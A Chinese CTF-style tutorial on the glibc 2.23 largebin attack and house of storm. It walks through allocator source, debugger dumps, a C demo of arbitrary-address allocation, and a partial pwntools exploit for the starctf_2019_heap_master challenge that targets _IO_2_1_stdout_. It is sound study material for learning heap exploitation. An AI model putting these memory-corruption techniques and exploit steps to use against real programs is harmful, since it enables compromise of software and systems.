Largebin attack

文章是在初次学习largebin_attack时写的,有不准确的地方还望指正,文章中所用的环境基本都是ubuntu16.04

了解largebin

了解largebin,首先要了解largebin的结构,下面是glibc源码的一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
----------------------- Chunk representations -----------------------
*/

/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

可以看出来,largebin中的chunk比其他的bins中的就够多出来了一部分就是fd_nextsizebk_nextsize

什么样的大小才属于largebin?

1
2
3
4
5
#define NBINS             128
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

这是glibc中的宏定义,可以计算出:

  • 在64位程序下:MIN_LARGE_SIZE = 64*0x10 = 0x400;
  • 在32位程序下:MIN_LARGE_SIZE = 64*0x8 = 0x200;

大于MIN_LARGE_SIZE的chunk为large bin。

largebin是如何管理的呢?

1
2
3
4
5
6
7
8
9
10
11
12
#define largebin_index_64(sz)                                                \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)

#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))

这是glibc2.23源码1500行处

我们知道,fastbin有一个index,然后对应大小的bin放到对应index的bins里,largebin也类似,当一个bin被放入largebin时,首先根据size计算其对应的index,我们将0x400带入 48 + (0x400 >> 6) = 64,0x400~0x430带入largebin_index(sz)宏函数中计算后都是64,继续计算的话可以发现largebin中是在一个范围内chunk都属于同一个bin或index,因此以此类推,我们可以得到如下分布图:

image-20250327153800287

我们知道了large bin是靠桶来管理不同index的chunk,不同index的chunk之间没有联系,那么在同一个index桶里,chunk之间有什么联系吗?

Fd_nextsize指向比自己小的chunk,fd_bknextsize指向比自己大的chunk,最后一个chunk的fd_nextsize指向最后一个chunk,形成了双向链表,如下图:

image-20250327161114374

假如多个一样大小的chunk怎么管理?

image-20250327162735558

test

test1

这个目的是了解同index不同大小的chunk的关系,和与libc_arena的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

char buf[0x100];
int main() {
char *p1 = malloc(0x400 - 0x10);//0x400
char *gap = malloc(0x10); //gap
char *p2 = malloc(0x410 - 0x10);//0x410
gap = malloc(0x10);
char *p3 = malloc(0x420 - 0x10);//0x420
gap = malloc(0x10);
free(p1);
free(p2);
free(p3);
malloc(0x500);//这里再申请一个是触发便利unsortedbin,使对应的chunk放入largebins中
read(0,buf,0x100);
}gcc -o test1 test1.c -g
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x400-0x430: 0x602850 —▸ 0x602420 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602850 /* 'P(`' */
pwndbg> x/20gx 0x7ffff7dd1f68
0x7ffff7dd1f68 <main_arena+1096>: 0x00007ffff7dd1f58 0x00007ffff7dd1f58
0x7ffff7dd1f78 <main_arena+1112>: 0x0000000000602850 0x0000000000602000
# 这个指向在当前index下最大那一组的头节点 这个指向在当前index下最小那一组的头节点
0x7ffff7dd1f88 <main_arena+1128>: 0x00007ffff7dd1f78 0x00007ffff7dd1f78
0x7ffff7dd1f98 <main_arena+1144>: 0x00007ffff7dd1f88 0x00007ffff7dd1f88
0x7ffff7dd1fa8 <main_arena+1160>: 0x00007ffff7dd1f98 0x00007ffff7dd1f98
0x7ffff7dd1fb8 <main_arena+1176>: 0x00007ffff7dd1fa8 0x00007ffff7dd1fa8
0x7ffff7dd1fc8 <main_arena+1192>: 0x00007ffff7dd1fb8 0x00007ffff7dd1fb8
0x7ffff7dd1fd8 <main_arena+1208>: 0x00007ffff7dd1fc8 0x00007ffff7dd1fc8
0x7ffff7dd1fe8 <main_arena+1224>: 0x00007ffff7dd1fd8 0x00007ffff7dd1fd8
0x7ffff7dd1ff8 <main_arena+1240>: 0x00007ffff7dd1fe8 0x00007ffff7dd1fe8
pwndbg> x/10gx 0x0000000000602850
0x602850: 0x0000000000000000 0x0000000000000421
0x602860: 0x0000000000602420 0x00007ffff7dd1f68#bk
0x602870: 0x0000000000602420 0x0000000000602000
0x602880: 0x0000000000000000 0x0000000000000000
0x602890: 0x0000000000000000 0x0000000000000000
pwndbg>

pwndbg> x/10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000401#chunk A
0x602010: 0x00007ffff7dd1f68 0x0000000000602420
0x602020: 0x0000000000602850 0x0000000000602420#fd_nextsize --> chunk C prev_size
0x602030: 0x0000000000000000 0x0000000000000000#bk_nextsize --> chunk B prev_size
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602420
0x602420: 0x0000000000000000 0x0000000000000411#chunk B
0x602430: 0x0000000000602000 0x0000000000602850
0x602440: 0x0000000000602000 0x0000000000602850
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x602850
0x602850: 0x0000000000000000 0x0000000000000421#chunk C
0x602860: 0x0000000000602420 0x00007ffff7dd1f68
0x602870: 0x0000000000602420 0x0000000000602000
0x602880: 0x0000000000000000 0x0000000000000000
0x602890: 0x0000000000000000 0x0000000000000000

test2

这个目的是了解同index相同大小的chunk**的关系,和与libc_arena的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>

char buf[0x100];
int main() {
char *p1 = malloc(0x400 - 0x10);
char *gap = malloc(0x10); //gap
char *p2 = malloc(0x400 - 0x10);
gap = malloc(0x10);
char *p3 = malloc(0x400 - 0x10);
gap = malloc(0x10);
free(p1);
free(p2);
free(p3);
malloc(0x500);
read(0,buf,0x100);
}
//gcc -o test2 test2.c
//read的作用是阻塞程序执行,./test2 ,ps -a 看pid, gdb ,attach pid

gdb调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x400-0x430: 0x602000 —▸ 0x602840 —▸ 0x602420 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602000
pwndbg> x/20gx 0x7ffff7dd1f68
0x7ffff7dd1f68 <main_arena+1096>: 0x00007ffff7dd1f58 0x00007ffff7dd1f58
0x7ffff7dd1f78 <main_arena+1112>: 0x0000000000602000 0x0000000000602420
0x7ffff7dd1f88 <main_arena+1128>: 0x00007ffff7dd1f78 0x00007ffff7dd1f78
0x7ffff7dd1f98 <main_arena+1144>: 0x00007ffff7dd1f88 0x00007ffff7dd1f88
0x7ffff7dd1fa8 <main_arena+1160>: 0x00007ffff7dd1f98 0x00007ffff7dd1f98
0x7ffff7dd1fb8 <main_arena+1176>: 0x00007ffff7dd1fa8 0x00007ffff7dd1fa8
0x7ffff7dd1fc8 <main_arena+1192>: 0x00007ffff7dd1fb8 0x00007ffff7dd1fb8
0x7ffff7dd1fd8 <main_arena+1208>: 0x00007ffff7dd1fc8 0x00007ffff7dd1fc8
0x7ffff7dd1fe8 <main_arena+1224>: 0x00007ffff7dd1fd8 0x00007ffff7dd1fd8
0x7ffff7dd1ff8 <main_arena+1240>: 0x00007ffff7dd1fe8 0x00007ffff7dd1fe8
pwndbg> x/10gx 0x0000000000602000
0x602000: 0x0000000000000000 0x0000000000000401
0x602010: 0x0000000000602840 0x00007ffff7dd1f68
0x602020: 0x0000000000602000 0x0000000000602000
#在相同index下没有其它大小的chunk,指向自身
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x0000000000602840
0x602840: 0x0000000000000000 0x0000000000000401
0x602850: 0x0000000000602420 0x0000000000602000
0x602860: 0x0000000000000000 0x0000000000000000
#同样大小下除了头节点,其他的fd_nextsize和bk_nextsize为0
0x602870: 0x0000000000000000 0x0000000000000000
0x602880: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x0000000000602420
0x602420: 0x0000000000000000 0x0000000000000401
0x602430: 0x00007ffff7dd1f68 0x0000000000602840
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
pwndbg>

源码分析

从源码分析largebin_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ((unsigned long) size == (unsigned long) fwd->size) {
// 判断当前操作的chunk的size是不是等于largebin中最大的size
/* Always insert in the second position. */
fwd = fwd->fd;
} else {
// 这是largebin_attack的核心
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//##//addr2
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//##//addr2->fd_nextsize = victim
}

bck = fwd->bk;//##//addr1

if (victim->fd_nextsize == NULL) {
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//##//addr2->fd = victim

这是glibc2.23中3700行左右的代码,加//##//的是largebin_attack的核心

该段代码是从unsorted bin里取出未归位的large bin时可能会触发的代码。什么叫未归位?当free一个块时,如果chunk没有放到fastbin或者tcache,那么就直接放到unsorted bin里。当接下来malloc符合某些条件时,会遍历unsorted bin,并根据chunk的size把chunk给放到对应的bin里,比如放到large bin、small bin等。

fwd指向的是large bin的某个头结点,而victim指向的是unsorted bin里当前遍历到的这个chunk。

先不考虑前面的条件,假设程序执行到此处,而我们利用UAF或其他漏洞控制了fwd的bk和bk_nexsize指针分别为addr1、addr2,那么,我们代入图中计算,得:

1
2
addr2->fd_nexsize = victim //向addr2+0x18处写入victim的地址
addr1->fd = victim //向addr2+0x10处写入victim的地址

效果

最终实现:往任意地址处写入一个堆地址(或一个大数)

那么怎么到达这里触发这些代码呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */

mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */

mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */

unsigned int block; /* bit map traverser */
unsigned int bit; /* bit map traverser */
unsigned int map; /* current word of binmap */

mchunkptr fwd; /* misc temp for linking */
mchunkptr bck; /* misc temp for linking */

const char *errstr = NULL;

/*
Convert request size to internal form by adding SIZE_SZ bytes
overhead plus possibly more to obtain necessary alignment and/or
to obtain a size of at least MINSIZE, the smallest allocatable
size. Also, checked_request2size traps (returning 0) request sizes
that are so large that they wrap around zero when padded and
aligned.
*/

checked_request2size (bytes, nb);

/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely (av == NULL))
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/

//这个 (nb) 是我们申请的大小,判断是不是在fastbin中,直接跳过
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
//这里如果符合smallbin执行,也跳过
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

/*
Process recently freed or remaindered chunks, taking one only if
it is exact fit, or, if this a small request, the chunk is remainder from
the most recent non-exact fit. Place other traversed chunks in
bins. Note that this step is the only place in any routine where
chunks are placed in bins.

The outer loop here is needed because we might not realize until
near the end of malloc that we should have consolidated, so must
do so and retry. This happens at most once, and only when we would
otherwise need to expand memory to service a "small" request.
*/
//这里是关于largebin_attack的重点
for (;; )//遍历unsortedbin
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//从bk开始遍历
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);//获得当前要操作的chunk的size

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
//判断smallbin,跳过
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
//将victem从unsortedbin中移出来,这里是unsortedbin的核心
/* Take now instead of binning if exact fit */

if (size == nb)//判断当前操作(victim)的size是否和我们申请的chunk的size一样
{//house of strom
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;//如果一样直接返回
}

/* place chunk in bin */

if (in_smallbin_range (size))//如果这个size是smallbin中的则放入smallbin中
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else//否则就会放入largebin中//****largebin****///
{
victim_index = largebin_index (size);//根据size获取index
bck = bin_at (av, victim_index);//bck是获取对应bin的地址,如:main_arena+1096处
fwd = bck->fd;//fwd是largebin中最大的那个chunk的头节点

/* maintain large bins in sorted order */
if (fwd != bck)//这个是判断当前bin中有没有chunk
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
//判断当前操作的chunk的size是不是小于当前bin中最小的size
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
//判断当前操作的chunk的size是不是小于当前bin中最大的size
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
//判断当前操作的chunk的size是不是等于当前bin中最大的size
/* Always insert in the second position. */
fwd = fwd->fd;
else
{//这是largebin_attack的核心
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
  • 首先保证largebin中有一个chunk(size>0x400)
  • unsortedbin中有一个比较大的chunk(size>当前laregbin中已有的chunk)

然后就可以到达这个分支。

原因:将chunk从unsortedbin中插入到largebin中缺少一些检查

总结

2.23 ~ 2.29版本中largebin attack的利用点,在2.30及以后的版本中,加入了双链表检测,所以在libc2.30及以后,该处的largebin attack无法使用了。

第一步

  • 构造2个堆:1个大小为unsorted bin范围的chunk,比如0x100,1个大小为large bin范围的,比如0x410,中间再加上其他堆用于隔离防止合并。

第二步

  • free这两个chunk, frees顺序为 free(0x410)free(0x100),然后malloc(0x100),这样可以保证在遍历到0x100这个合适的chunk时,能够优先从large bin范围的chunk,得到了一个large bin。

第三步

  • 构造2个堆:1个大小为unsorted bin范围的chunk,比如0x100,1个大小为large bin范围的但是比现在的large bin里的chunk要大,比如0x410 + 0x10 = 0x420。

第四步

  • free这两个chunk, free顺序为 free(0x420)free(0x100),此时,堆布局为large bin里一个0x410的chunk,unsorted bin里一个0x420的未归位的large bin,并且未归位的这个0x420的chunk与0x410的large bin属于同一个index。

第五步

  • UAF或其他漏洞,控制large bin里那个chunk的bk和bk_nexsize。

第六步

  • malloc(0x100),使得malloc遍历unsorted bin,将0x420的chunk放入large bin,发生large bin attack。

Large bin attack的利用

结合IO_FILE hijack

  • 利用large bin attack的任意地址写漏洞特性,错误地将IO 2 1 stdout内部的_IO_write_base修改为0,使得程序调用puts等函数时,能够影响泄露出libc地址,这也就是劫持了stdout。

House of orange

  • 传统的house of orange是利用unsorted bin attack将IO_list全写一个main_arena + 88地址,然后通过chain_next进行转移,而large bin attack更加方便,直接在IO_list全写上一个堆地址,进而伪造IO_FILE结构。

Hijack global_fastmax

  • 通过large bin attack将global_max_fast修改为一个堆地址,导致free任何chunk,都将放入fastbin,从而利用fastbin attack达到任意地址分配。

House of strom

理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunk的bk处,然后执行large bin attack会发生什么。

那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x55为0x56,这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。

House of strom

House of strom原理

该利用手法适用于glibc 2.28及以下的版本,因为unsorted bin attack在glibc 2.29中已失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//这里是关于largebin_attack的重点
for (;; )//遍历unsortedbin
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//从bk开始遍历
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);//获得当前要操作的chunk的size
......
/* Take now instead of binning if exact fit */
if (size == nb)
//只进行检查了chunk的size == nb(nb申请的大小)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
//这里会直接返回p,p就是victim,victim = unsorted_chunks (av)->bk
//victim又是unsorted_chunks的bk
}

现在,我们将house of strom里的步骤改一下,将0x100的unsorted bin转换成任意地址,即通过修改unsorted bin里未归位的large bin的bk指针指向任意地址addr,然后修改large bin里有的那个chunk的bk_nexsize为addr - 0x18 - 0x5(错位写入堆地址)。

通过malloc(0x40)即可分配到任意地址addr + 0x10处,这里是因为large bin attack里victim->bk_nexsize->fd_nexsize = victim即(addr - 0x18 - 0x5) + 0x18 = victim,即addr - 0x5 = victim。在PIE下,victim地址一般为0x55或0x56开头,并且有6字节有效数据,此时,即相当于*(char *)(addr - 0x5 + 0x5) = (addr >> 40) & 0xFF,也就是在addr处写入了0x55或0x56,可以用来充当unsorted bin的size,这样,接下来继续回溯unsorted bin时,仅检查size是否符合请求的一样,一样就可以直接返回这个地址,实现任意地址分配。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char buf[0x100] = {0};

int main() {
char *p1 = malloc(0x400 - 0x10);
char *gap = malloc(0x10); //gap
char *p2 = malloc(0x410 - 0x10);
gap = malloc(0x10); //gap
free(p1);
malloc(0x500); //将p1放入large bin
free(p2); //p2放入unsorted bin
size_t addr = (size_t)(buf - 0x10);
*(size_t *)(p1+0x8) = addr + 0x8; //修改large bin的bk
*(size_t *)(p1 + 0x18) = addr - 0x18 - 0x5; //修改large bin的bk_nextsize
*(size_t *)(p2 + 0x8) = addr;//修改unsorted bin的bk
char *p = malloc(0x48); //申请到addr处
strcpy(p,"hello,welcome to pwn world\n");
write(1,buf,strlen(buf));
}

例题

starctf_2019_heap_master

ubuntu16.04,glibc2.23/glibc2.25

1
2
3
4
5
6
7
8
ctf@70b53f87c516:~/pwn/实验脚本$ checksec starctf_2019_heap_master
[*] '/home/ctf/pwn/实验脚本/starctf_2019_heap_master'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

ida静态分析

main()

image-20250327214259281

prog_init()

image-20250327214321585

add()

image-20250327214413213

add()函数,只能malloc(),而不存堆指针

delete()

image-20250327214449386

delete()函数,只能free heap_base范围内的

edit()

image-20250327214738926

edit()函数也是只能改heap_base范围内的

程序功能上看:

  • 程序不能控制add()中malloc()出来的chunk
  • edit()和delete()只能在heap_base范围内
  • 漏洞点在于可以delete()后继续编辑堆,uaf

重点关注的是:这道题的目的之一是让我们在heap_base的范围上去布局堆内存

思路

程序没有show功能,并且开启了PIE,第一步应该该泄露地址,程序里有调用puts等函数,因而可以hijack IO_2_1_stdout,这里可以用unsorted bin attack或者large bin attack,如果用了unsorted bin attack,后续的利用将无法继续,因为unsorted bin被破坏了,因此,我们选择large bin attack来攻击IO_2_1_stdout。

对于篡改IO_2_1_stdout来泄露数据,flags有要求,必须得经过这两个if,才能到达后方调用syswrite将_IO_write_base与_IO_write_ptr之间的数据信息泄露出来,这就要求flags的低1字节的低4位不能为8第二字节的低4位必须要为8,也就是说,我们的unsorted bin chunk地址末尾地址应该为0x800这样。

从以上分析来看,large bin attack攻击IO_2_1_stdout是最为合适的,因为需要修改IO_2_1_stdout里的两处内容,即flags和_IO_write_base。

exp

一次运行可能会不成功,这是因为hijack_stdout时需要爆破一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './starctf_2019_heap_master'
if args['G']:
p = remote('', )
else:
p = process(file_name)
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
#gdb.attach(p)
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
lg = lambda address, data :log.success('%s: ' % (address) + hex(data))

#这里用lambda表达式我的机器会过不了交互
def add(size):
p.sendlineafter(b'>>',b'1')
p.sendlineafter(b'size:',str(size))

def edit(offset,size,content):
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'offset:',str(offset))
p.sendlineafter(b'size:',str(size))
p.sendafter(b'content:',content)

def delete(offset):
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'offset:',str(offset))

#伪造8个chunk
#0
edit(0,0x100,p64(0) + p64(0x421) + b'a'*0xF0)
#1
edit(0x420,0x20,p64(0) + p64(0x21) + b'b'*0x10)
#2
edit(0x440,0x20,p64(0) + p64(0x21) + b'b'*0x10)
#3
edit(0x880,0x100,p64(0) + p64(0x431) + b'c'*0xF0)
#4
edit(0xCB0,0x20,p64(0) + p64(0x21) + b'd'*0x10)
#5
edit(0xCD0,0x90,p64(0) + p64(0x91) + b'e'*0x80)
#6
edit(0xD60,0x20,p64(0) + p64(0x21) + b'f'*0x10)
#7
edit(0xD80,0x20,p64(0) + p64(0x21) + b'g'*0x10)

#释放0,进入unsortedbin中
delete(0x10)
#malloc_consolidate将0放入large bin
add(0x430)

#接下来,为了在bk和bk_nextsize处留下libc指针,我们要继续伪造unsorted bin
#在bk_nextsize处留下libc指针
edit(0x10,0xF0,p64(0) + p64(0x91) + b'a'*0x80 + (p64(0) + p64(0x21) + b'a'*0x10) * 3)
delete(0x20)
add(0x80) #把unsorted bin申请掉

#在bk留下libc指针
edit(0,0x10,p64(0) + p64(0xC1))
delete(0x10)
add(0xB0) #把unsorted bin申请掉

#修改large bin的bk,指向stdout
edit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))
#修改large bin的bk_nextsize,指向_IO_write_base
edit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7) & 0xFFF)))
#在这里可以理解一下house of storm的任意地址写是堆glibc源码中哪个位置写
#恢复large bin的头size
